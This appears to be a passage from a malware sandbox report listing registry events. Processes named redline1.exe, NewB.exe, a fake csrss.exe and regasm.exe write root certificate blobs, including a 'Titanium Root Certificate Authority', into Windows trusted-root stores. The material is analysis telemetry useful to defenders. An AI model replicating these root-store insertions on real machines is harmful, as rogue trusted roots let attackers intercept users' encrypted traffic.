| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 | C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 | C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 | C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 0f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1320000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 | C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 140000000100000014000000f352eacf816860c1097c4b852f4332dd93eb5d4f0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b0640f000000010000002000000020d814fd5fc477ce74425e441d8f5b48d38db6f1dd119441bc35777689bd094c20000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 | C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 190000000100000010000000dbd91ea86008fd8536f2b37529666c7b0f000000010000002000000020d814fd5fc477ce74425e441d8f5b48d38db6f1dd119441bc35777689bd094c030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b0640200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e003000000000000b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f0072006900740079000000140000000100000014000000f352eacf816860c1097c4b852f4332dd93eb5d4f20000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 | C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 | C:\Windows\rss\csrss.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 | C:\Program Files (x86)\1715653757_0\360TS_Setup.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e | C:\Program Files (x86)\1715653757_0\360TS_Setup.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
